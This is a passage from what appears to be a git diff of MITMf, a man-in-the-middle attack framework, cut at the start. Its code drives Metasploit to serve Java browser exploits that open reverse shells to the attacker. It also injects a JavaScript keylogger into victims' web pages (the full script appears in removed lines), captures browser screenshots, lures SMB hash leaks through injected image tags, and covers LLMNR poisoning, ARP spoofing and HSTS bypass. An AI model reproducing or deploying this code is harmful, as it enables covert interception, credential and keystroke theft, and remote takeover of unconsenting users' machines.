mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e))
|
|
||||||
|
|
||||||
def pwn(self):
|
|
||||||
self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit
|
|
||||||
while True:
|
|
||||||
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
|
|
||||||
|
|
||||||
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
|
|
||||||
|
|
||||||
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
|
|
||||||
|
|
||||||
vic_ip = brwprofile['ip']
|
|
||||||
|
|
||||||
mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version']))
|
|
||||||
mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip))
|
|
||||||
|
|
||||||
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
|
|
||||||
|
|
||||||
if exploits:
|
|
||||||
|
|
||||||
if len(exploits) > 1:
|
|
||||||
mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits)))
|
|
||||||
exploit = random.choice(exploits)
|
|
||||||
mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit))
|
|
||||||
else:
|
|
||||||
mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0]))
|
|
||||||
exploit = exploits[0]
|
|
||||||
|
|
||||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
|
||||||
jobs = self.msf.call('job.list') #get running jobs
|
|
||||||
if len(jobs) > 0:
|
|
||||||
for k, v in jobs.iteritems():
|
|
||||||
info = self.msf.call('job.info', [k])
|
|
||||||
if exploit in info['name']:
|
|
||||||
mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit))
|
|
||||||
url = info['uripath'] #get the url assigned to the exploit
|
|
||||||
self.injectWait(self.msf, url, vic_ip)
|
|
||||||
|
|
||||||
else: #here we setup the exploit
|
|
||||||
rand_port = random.randint(1000, 65535) #generate a random port for the payload listener
|
|
||||||
rand_url = self.rand_url()
|
|
||||||
#generate the command string to send to the virtual console
|
|
||||||
#new line character very important as it simulates a user pressing enter
|
|
||||||
cmd = "use exploit/{}\n".format(exploit)
|
|
||||||
cmd += "set SRVPORT {}\n".format(self.msfport)
|
|
||||||
cmd += "set URIPATH {}\n".format(rand_url)
|
|
||||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform
|
|
||||||
cmd += "set LHOST {}\n".format(self.msfip)
|
|
||||||
cmd += "set LPORT {}\n".format(rand_port)
|
|
||||||
cmd += "exploit -j\n"
|
|
||||||
|
|
||||||
mitmf_logger.debug("command string:\n{}".format(cmd))
|
|
||||||
|
|
||||||
self.send_command(cmd, vic_ip)
|
|
||||||
|
|
||||||
self.injectWait(rand_url, vic_ip)
|
|
||||||
else:
|
|
||||||
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
|
|
||||||
mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip))
|
|
||||||
mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip))
|
|
||||||
|
|
||||||
rand_url = self.rand_url()
|
|
||||||
rand_port = random.randint(1000, 65535)
|
|
||||||
|
|
||||||
cmd = "use exploit/multi/browser/java_signed_applet\n"
|
|
||||||
cmd += "set SRVPORT {}\n".format(self.msfport)
|
|
||||||
cmd += "set URIPATH {}\n".format(rand_url)
|
|
||||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n"
|
|
||||||
cmd += "set LHOST {}\n".format(self.msfip)
|
|
||||||
cmd += "set LPORT {}\n".format(rand_port)
|
|
||||||
cmd += "exploit -j\n"
|
|
||||||
|
|
||||||
self.send_command(cmd, vic_ip)
|
|
||||||
self.injectWait(rand_url, vic_ip)
|
|
||||||
sleep(1)
|
|
|
@ -18,151 +18,54 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
import logging
|
import logging
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class jskeylogger(Plugin):
|
class jskeylogger(Inject, Plugin):
|
||||||
name = "Javascript Keylogger"
|
name = "JSKeylogger"
|
||||||
optname = "jskeylogger"
|
optname = "jskeylogger"
|
||||||
desc = "Injects a javascript keylogger into clients webpages"
|
desc = "Injects a javascript keylogger into clients webpages"
|
||||||
version = "0.2"
|
version = "0.2"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
inject = Inject()
|
Inject.initialize(self, options)
|
||||||
inject.initialize(options)
|
self.html_payload = self.msf_keylogger()
|
||||||
inject.html_payload = self.msf_keylogger()
|
|
||||||
ProxyPlugins.getInstance().addPlugin(inject)
|
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
#Handle the plugin output
|
|
||||||
if 'keylog' in request.uri:
|
if 'keylog' in request.uri:
|
||||||
request.printPostData = False
|
request.printPostData = False
|
||||||
|
|
||||||
client_ip = request.client.getClientIP()
|
|
||||||
|
|
||||||
raw_keys = request.postData.split("&&")[0]
|
raw_keys = request.postData.split("&&")[0]
|
||||||
|
input_field = request.postData.split("&&")[1]
|
||||||
|
|
||||||
keys = raw_keys.split(",")
|
keys = raw_keys.split(",")
|
||||||
del keys[0]; del(keys[len(keys)-1])
|
if keys:
|
||||||
|
del keys[0]; del(keys[len(keys)-1])
|
||||||
|
|
||||||
input_field = request.postData.split("&&")[1]
|
nice = ''
|
||||||
|
for n in keys:
|
||||||
|
if n == '9':
|
||||||
|
nice += "<TAB>"
|
||||||
|
elif n == '8':
|
||||||
|
nice = nice[:-1]
|
||||||
|
elif n == '13':
|
||||||
|
nice = ''
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
nice += n.decode('hex')
|
||||||
|
except:
|
||||||
|
mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n))
|
||||||
|
|
||||||
nice = ''
|
mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice))
|
||||||
for n in keys:
|
|
||||||
if n == '9':
|
|
||||||
nice += "<TAB>"
|
|
||||||
elif n == '8':
|
|
||||||
nice = nice.replace(nice[-1:], "")
|
|
||||||
elif n == '13':
|
|
||||||
nice = ''
|
|
||||||
else:
|
|
||||||
try:
|
|
||||||
nice += n.decode('hex')
|
|
||||||
except:
|
|
||||||
mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n))
|
|
||||||
|
|
||||||
mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice))
|
|
||||||
|
|
||||||
def msf_keylogger(self):
|
def msf_keylogger(self):
|
||||||
#Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS
|
keylogger = open("./core/javascript/msfkeylogger.js", "r").read()
|
||||||
|
|
||||||
payload = """<script type="text/javascript">
|
return '<script type="text/javascript">\n' + keylogger + '\n</script>'
|
||||||
window.onload = function mainfunc(){
|
|
||||||
var2 = ",";
|
|
||||||
name = '';
|
|
||||||
function make_xhr(){
|
|
||||||
var xhr;
|
|
||||||
try {
|
|
||||||
xhr = new XMLHttpRequest();
|
|
||||||
} catch(e) {
|
|
||||||
try {
|
|
||||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
|
||||||
} catch(e) {
|
|
||||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if(!xhr) {
|
|
||||||
throw "failed to create XMLHttpRequest";
|
|
||||||
}
|
|
||||||
return xhr;
|
|
||||||
}
|
|
||||||
|
|
||||||
xhr = make_xhr();
|
|
||||||
xhr.onreadystatechange = function() {
|
|
||||||
if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
|
||||||
eval(xhr.responseText);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (window.addEventListener) {
|
|
||||||
document.addEventListener('keypress', function2, true);
|
|
||||||
document.addEventListener('keydown', function1, true);
|
|
||||||
} else if (window.attachEvent) {
|
|
||||||
document.attachEvent('onkeypress', function2);
|
|
||||||
document.attachEvent('onkeydown', function1);
|
|
||||||
} else {
|
|
||||||
document.onkeypress = function2;
|
|
||||||
document.onkeydown = function1;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
function function2(e)
|
|
||||||
{
|
|
||||||
srcname = window.event.srcElement.name;
|
|
||||||
var3 = (window.event) ? window.event.keyCode : e.which;
|
|
||||||
var3 = var3.toString(16);
|
|
||||||
|
|
||||||
if (var3 != "d")
|
|
||||||
{
|
|
||||||
andxhr(var3, srcname);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function function1(e)
|
|
||||||
{
|
|
||||||
srcname = window.event.srcElement.name;
|
|
||||||
id = window.event.srcElement.id;
|
|
||||||
|
|
||||||
var3 = (window.event) ? window.event.keyCode : e.which;
|
|
||||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
|
||||||
{
|
|
||||||
andxhr(var3, srcname);
|
|
||||||
}
|
|
||||||
else if (var3 == 0)
|
|
||||||
{
|
|
||||||
|
|
||||||
text = document.getElementById(id).value;
|
|
||||||
if (text.length != 0)
|
|
||||||
{
|
|
||||||
andxhr(text.toString(16), srcname);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function andxhr(key, inputName)
|
|
||||||
{
|
|
||||||
if (inputName != name)
|
|
||||||
{
|
|
||||||
name = inputName;
|
|
||||||
var2 = ",";
|
|
||||||
}
|
|
||||||
|
|
||||||
var2= var2 + key + ",";
|
|
||||||
|
|
||||||
xhr.open("POST", "keylog", true);
|
|
||||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
|
||||||
xhr.send(var2 + '&&' + inputName);
|
|
||||||
|
|
||||||
if (key == 13 || var2.length > 3000)
|
|
||||||
{
|
|
||||||
var2 = ",";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</script>"""
|
|
||||||
|
|
||||||
return payload
|
|
||||||
|
|
|
@ -34,7 +34,7 @@ class Responder(Plugin):
|
||||||
name = "Responder"
|
name = "Responder"
|
||||||
optname = "responder"
|
optname = "responder"
|
||||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||||
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||||
version = "0.2"
|
version = "0.2"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
|
@ -88,7 +88,32 @@ class Responder(Plugin):
|
||||||
LDAPServer().start(smbChal)
|
LDAPServer().start(smbChal)
|
||||||
|
|
||||||
if options.analyze:
|
if options.analyze:
|
||||||
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
|
||||||
|
self.IsICMPRedirectPlausible(self.ourip)
|
||||||
|
|
||||||
|
def IsICMPRedirectPlausible(self, IP):
|
||||||
|
result = []
|
||||||
|
dnsip = []
|
||||||
|
for line in file('/etc/resolv.conf', 'r'):
|
||||||
|
ip = line.split()
|
||||||
|
if len(ip) < 2:
|
||||||
|
continue
|
||||||
|
if ip[0] == 'nameserver':
|
||||||
|
dnsip.extend(ip[1:])
|
||||||
|
|
||||||
|
for x in dnsip:
|
||||||
|
if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False:
|
||||||
|
self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x))
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def IsOnTheSameSubnet(self, ip, net):
|
||||||
|
net = net+'/24'
|
||||||
|
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||||
|
netstr, bits = net.split('/')
|
||||||
|
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||||
|
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||||
|
return (ipaddr & mask) == (netaddr & mask)
|
||||||
|
|
||||||
def pluginReactor(self, strippingFactory):
|
def pluginReactor(self, strippingFactory):
|
||||||
reactor.listenTCP(3141, strippingFactory)
|
reactor.listenTCP(3141, strippingFactory)
|
||||||
|
@ -100,5 +125,6 @@ class Responder(Plugin):
|
||||||
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query")
|
||||||
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier")
|
||||||
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server")
|
||||||
|
# Removed these options until I find a better way of implementing them
|
||||||
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
#options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||||
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
#options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned")
|
||||||
|
|
|
@ -21,9 +21,8 @@
|
||||||
from core.utils import SystemConfig
|
from core.utils import SystemConfig
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
|
||||||
|
|
||||||
class SMBAuth(Plugin):
|
class SMBAuth(Inject, Plugin):
|
||||||
name = "SMBAuth"
|
name = "SMBAuth"
|
||||||
optname = "smbauth"
|
optname = "smbauth"
|
||||||
desc = "Evoke SMB challenge-response auth attempts"
|
desc = "Evoke SMB challenge-response auth attempts"
|
||||||
|
@ -33,10 +32,8 @@ class SMBAuth(Plugin):
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.target_ip = SystemConfig.getIP(options.interface)
|
self.target_ip = SystemConfig.getIP(options.interface)
|
||||||
|
|
||||||
inject = Inject()
|
Inject.initialize(options)
|
||||||
inject.initialize(options)
|
self.html_payload = self._get_data()
|
||||||
inject.html_payload = self._get_data()
|
|
||||||
ProxyPlugins.getInstance().addPlugin(inject)
|
|
||||||
|
|
||||||
def _get_data(self):
|
def _get_data(self):
|
||||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||||
|
|
|
@ -27,12 +27,12 @@ from core.sslstrip.URLMonitor import URLMonitor
|
||||||
from core.dnschef.DNSchef import DNSChef
|
from core.dnschef.DNSchef import DNSChef
|
||||||
|
|
||||||
class HSTSbypass(Plugin):
|
class HSTSbypass(Plugin):
|
||||||
name = 'SSLstrip+'
|
name = 'SSLstrip+'
|
||||||
optname = 'hsts'
|
optname = 'hsts'
|
||||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||||
version = "0.4"
|
version = "0.4"
|
||||||
tree_output = ["SSLstrip+ by Leonardo Nve running"]
|
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
53
plugins/Screenshotter.py
Normal file
53
plugins/Screenshotter.py
Normal file
|
@ -0,0 +1,53 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import base64
|
||||||
|
|
||||||
|
from datetime import datetime
|
||||||
|
from plugins.Inject import Inject
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
|
class ScreenShotter(Inject, Plugin):
|
||||||
|
name = 'ScreenShotter'
|
||||||
|
optname = 'screen'
|
||||||
|
desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
|
||||||
|
ver = '0.1'
|
||||||
|
has_opts = False
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
Inject.initialize(self, options)
|
||||||
|
self.html_payload = self.get_payload()
|
||||||
|
|
||||||
|
def clientRequest(self, request):
|
||||||
|
if 'saveshot' in request.uri:
|
||||||
|
request.printPostData = False
|
||||||
|
img_file = './logs/{}-{}-{}.png'.format(request.client.getClientIP(), request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
|
||||||
|
with open(img_file, 'wb') as img:
|
||||||
|
img.write(base64.b64decode(request.postData[30:] + '=='))
|
||||||
|
img.close()
|
||||||
|
|
||||||
|
mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(request.client.getClientIP(), img_file))
|
||||||
|
|
||||||
|
def get_payload(self):
|
||||||
|
canvas = open("./core/javascript/screenshot.js", "rb").read()
|
||||||
|
return '<script type="text/javascript">' + canvas + '</script>'
|
|
@ -32,7 +32,6 @@ class Spoof(Plugin):
|
||||||
name = "Spoof"
|
name = "Spoof"
|
||||||
optname = "spoof"
|
optname = "spoof"
|
||||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||||
tree_output = list()
|
|
||||||
version = "0.6"
|
version = "0.6"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
|
@ -63,7 +62,7 @@ class Spoof(Plugin):
|
||||||
arpwatch = ARPWatch(options.gateway, self.myip, options.interface)
|
arpwatch = ARPWatch(options.gateway, self.myip, options.interface)
|
||||||
arpwatch.debug = debug
|
arpwatch.debug = debug
|
||||||
|
|
||||||
self.tree_output.append("ARPWatch online")
|
self.tree_info.append("ARPWatch online")
|
||||||
self.protocolInstances.append(arpwatch)
|
self.protocolInstances.append(arpwatch)
|
||||||
|
|
||||||
arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)
|
arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)
|
||||||
|
|
|
@ -8,10 +8,11 @@ import logging
|
||||||
mitmf_logger = logging.getLogger('mitmf')
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class Plugin(ConfigWatcher, object):
|
class Plugin(ConfigWatcher, object):
|
||||||
name = "Generic plugin"
|
name = "Generic plugin"
|
||||||
optname = "generic"
|
optname = "generic"
|
||||||
desc = ""
|
tree_info = list()
|
||||||
has_opts = False
|
desc = ""
|
||||||
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
|
|
|
@ -4,10 +4,7 @@ scapy
|
||||||
msgpack-python
|
msgpack-python
|
||||||
dnspython
|
dnspython
|
||||||
dnslib
|
dnslib
|
||||||
user-agents
|
|
||||||
configobj
|
configobj
|
||||||
pyyaml
|
|
||||||
ua-parser
|
|
||||||
Pillow
|
Pillow
|
||||||
pefile
|
pefile
|
||||||
ipy
|
ipy
|
||||||
|
@ -16,4 +13,4 @@ service_identity
|
||||||
watchdog
|
watchdog
|
||||||
impacket
|
impacket
|
||||||
capstone
|
capstone
|
||||||
pypcap
|
pypcap
|
Loading…
Add table
Add a link
Reference in a new issue